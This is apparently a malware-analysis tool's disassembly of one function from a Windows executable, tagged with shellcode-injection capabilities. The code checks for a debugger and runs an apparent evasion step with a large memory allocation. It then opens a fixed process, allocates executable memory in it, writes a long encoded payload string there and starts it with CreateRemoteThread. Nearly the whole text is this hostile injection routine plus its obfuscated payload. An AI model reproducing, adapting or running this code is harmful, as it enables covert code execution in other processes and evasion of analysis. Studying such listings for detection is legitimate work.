Function at 0x1400015ab
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
call fcn.1400017d0
mov rax, qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
call rax
test eax, eax
setne al
test al, al
je 0x1400015f4
mov r9d, 0
lea r8, str.HOLA
lea rax, str.ESTOY_EN_UN_DEBUGGER____
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxA]
call rax
jmp 0x140001714
mov qword [rbp - 8], 0
mov ecx, 0x5f5e100
call sub.msvcrt.dll_malloc
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
je 0x140001714
call fcn.140001540
test eax, eax
sete al
test al, al
je 0x14000162d
mov eax, 0xfffffffe
jmp 0x140001719
mov rax, qword [rbp - 8]
mov r8d, 0x5f5e100
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
mov rax, qword [rbp - 8]
mov rcx, rax
call sub.msvcrt.dll_free
mov r8d, 0x21d8
mov edx, 1
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0xbe9
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp - 0x18], rax
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp - 0x10]
mov qword [rsp + 0x20], 0
mov r9d, 0xbe9
lea r8, str.MDMxNjUyMTkyOTE2NTUwOTZlNGI2NzVkNjgwMjEwNWEzZDQ5NTQwMzAzMTY1MTQyMjkxNjAyMDE2ZTRiNmY1ZTY4MDI0NTVlM2Q0OTAyMDMwMzE2MDA0YjI5MTY1NDAwNmU0YjZiNWY2ODAyNDA1ZTZjM2I2ZTRiNmE1YzY4MDI0MDVmM2Q0OTA3MDUwMzE2MDA0MjI5MTY1MjAwNmU0YjNiNWM2ODAyNDM1YjNkNDkwNjBiMDMxNjBjMTgyOTE2NTQwMzZlNGI2OTVlNjgwMjQxNTYzZDQ5MGE1MTAzMTYwMTQ4Nzg2NDNkNDkwMzBiMDMxNjAwNDIyOTE2NTk1MzZlNGI2YTVjNjgwMjQ3NWUzZDQ5MDYwYjAzMTYwYzE4MjkxNjU2MDM2ZTRiNmE1ZTY4MDI0MTU2M2Q0OTAyNTUwMzE2NTY0ZDI5MTY1NTUwNmU0YjZiMGYzOTcwMjkxNjU1NTU2ZTRiNmM1ZjY4MDIxNjU3M2Q0OTA2MGIwMzE2MDc0YjI5MTYwMjAxNmU0YjNlMGQ2ODAyNDYwZDNkNDkwNDAyMDMxNjAzMTkyOTE2NTEwMzZlNGI2ZDBkNjgwMjQ3NWUzZDQ5MDYwMjUyNjQ2ODAyMTY1ZjNkNDk1MTBhMDMxNjA0MWUyOTE2NTUwMDZlNGI2ZjVmNjgwMjE2NWYzZDQ5NTcwMTAzMTY1MTFlMjkxNjU0MDM2ZTRiNmI1ZjY4MDI0MDVmM2Q0OTA2MGIwMzE2MGMxODI5MTY1NDAzM2YzOTAzMTYwNjRhMjkxNjU5NTM2ZTRiNmI1YzY4MDI0NjBkM2Q0OTA2MGIwMzE2MDQ0YjI5MTYwNTAxNmU0YjY3MGM2ODAyNGQ1ZTNkNDkwYTBiMDMxNjA0NGEyOTE2NTEwMTZlNGI2ZjVlNjgwMjQxNTY2YzNiNmU0YjY3NWI2ODAyMTY1ZTNkNDkwNTA3MDMxNjAyNGQyOTE2NTUwOTZlNGI2ZjVmNjgwMjExNWUzZDQ5MDcwMzAzMTYwYzE4MjkxNjU1MDk2ZTRiNmU1NjY4MDI0MTVhM2Q0OTBhNTEwMzE2MDA0YTc4NjQzZDQ5MDAwMzAzMTYwMDQzMjkxNjUxMDA2ZTRiM2I1ZTY4MDIxMDVkM2Q0OTA3MDUwMzE2MDA0MjI5MTYwNzU3NmU0YjNjNTc2ODAyNDE1ZjNkNDkwYTUxMDMxNjA3NGUyOTE2NTkwOTZlNGI2YjU2Mzk3MDI5MTY1MTAwNmU0YjNiNTg2ODAyNDEwYTNkNDkwMTAyMDMxNjU3NDMyOTE2NTUwOTZlNGI2YzVmNjgwMjE2NWUzZDQ5NTM1MDAzMTYwMDRiMjkxNjAyMDA2ZTRiM2M1NzY4MDI0NTBhM2Q0OTA2MDI1MjY0NjgwMjQ1NWYzZDQ5NTEwMjAzMTYwNzQyMjkxNjA0MDE2ZTRiNjg1YjY4MDIxMzVmM2Q0OTA2NTAwMzE2MDQ0OTI5MTY1NTUyNmU0YjZkNWE2ODAyNDU1NjNkNDkwNjA2MDMxNjA3NDMyOTE2MDUwMDNmMzkwMzE2MDM0ZjI5MTYwNTA5NmU0YjZhNTY2ODAyNDE1YTNkNDkwYTUxMDMxNjAwNGEyOTE2NTMwNTZlNGI2YjU3NjgwMjQ1NWYzZDQ5NTYwMzAzMTYwMjRjMjkxNjU1MDA2ZTRiNjcwYzY4MDI0NTBkNmMzYjZlNGI2YjU2NjgwMjQxNWEzZDQ5MGE1MTAzMTYwMDRhMjkxNjUwNTI2ZTRiNmI1NzY4MDI0NTVmM2Q0OTU2MDMwMzE2MDA0YjI5MTY1OTUzNmU0YjZmNWE2ODAyNGQ1NjNkNDkwNjBiMDMxNjA0NGI3ODY0M2Q0OTU2MDMwMzE2MDA0YjI5MTY1NDA5NmU0YjZiNWY2ODAyNDA1NjNkNDkwNzU2MDMxNjAxNDMyOTE2NTQ1MDZlNGI2YjVmNjgwMjQwNTYzZDQ5MDYwMjAzMTYwMTQzMjkxNjU1MDA2ZTRiNmEwZjM5NzAyOTE2NTUwOTZlNGI2NzVkNjgwMjEwMGQzZDQ5MDAwMzAzMTYwMDRiMjkxNjU0MDM2ZTRiMzkwODY4MDIxMDVlM2Q0OTA3MGIwMzE2MDA0YjI5MTY1NDA4NmU0YjZhMGY2ODAyNDE1NjNkNDkwYTUxNTI2NDY4MDI0NDVjM2Q0OTU3MGEwMzE2MDE0ZDI5MTYwNzU3NmU0YjM5MDg2ODAyMTMwODNkNDkwNzU3MDMxNjAwNDIyOTE2MDM1MDZlNGI2ZjVmNjgwMjQ1NWUzZDQ5MDIwMzAzMTYwNDRhMjkxNjUxMDEzZjM5MDMxNjA0NGEyOTE2NTEwMTZlNGI2ZjVlNjgwMjQxNTYzZDQ5MGE1NzAzMTYwYzFlMjkxNjUxMDA2ZTRiNmY1ZjY4MDI0NTVlM2Q0OTAyMDMwMzE2MDA0YjI5MTYwMzUwNmU0YjZjNWY2ODAyNGQwYzZjM2I2ZTRiNjkwODY4MDI0ZDU5M2Q0OTU0NTUwMzE2NTA0ZjI5MTYwMzUzNmU0YjM5NWU2ODAyMTc1YjNkNDk1MzAxMDMxNjAxNGMyOTE2NTUwMDZlNGIzZDBmNjgwMjE0NTgzZDQ5MGIwNjAzMTY1NjFlNzg2NDNkNDkwYjU3MDMxNjUyMWMyOTE2MDUwNDZlNGI2YjU2NjgwMjRkNWQzZDQ5NTEwNzAzMTYwNjQyMjkxNjUyNTI2ZTRiNmY1ODY4MDI0MjBkM2Q0OTAyNTIwMzE2MGM0YTI5MTYwNzUzNmU0YjNhNWUzOTcwMjkxNjU2MDQ2ZTRiNmY1YjY4MDIxNzBjM2Q0OTA2MDQwMzE2MDU0OTI5MTY1NjAzNmU0YjY5MDg2ODAyNDMwZjNkNDkwMjAzMDMxNjAxNDMyOTE2NTUwMDZlNGI2NzU3NjgwMjExMGYzZDQ5NTQ1NTUyNjQ2ODAyMTE1YjNkNDkwNDAwMDMxNjAyNGIyOTE2NTc1MjZlNGI2OTVkNjgwMjQ3MGIzZDQ5MDQwNjAzMTYwMzQyMjkxNjU3MDQ2ZTRiNmY1ZQ
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp - 0x10]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rdx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call rax
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0x60
pop rbp
ret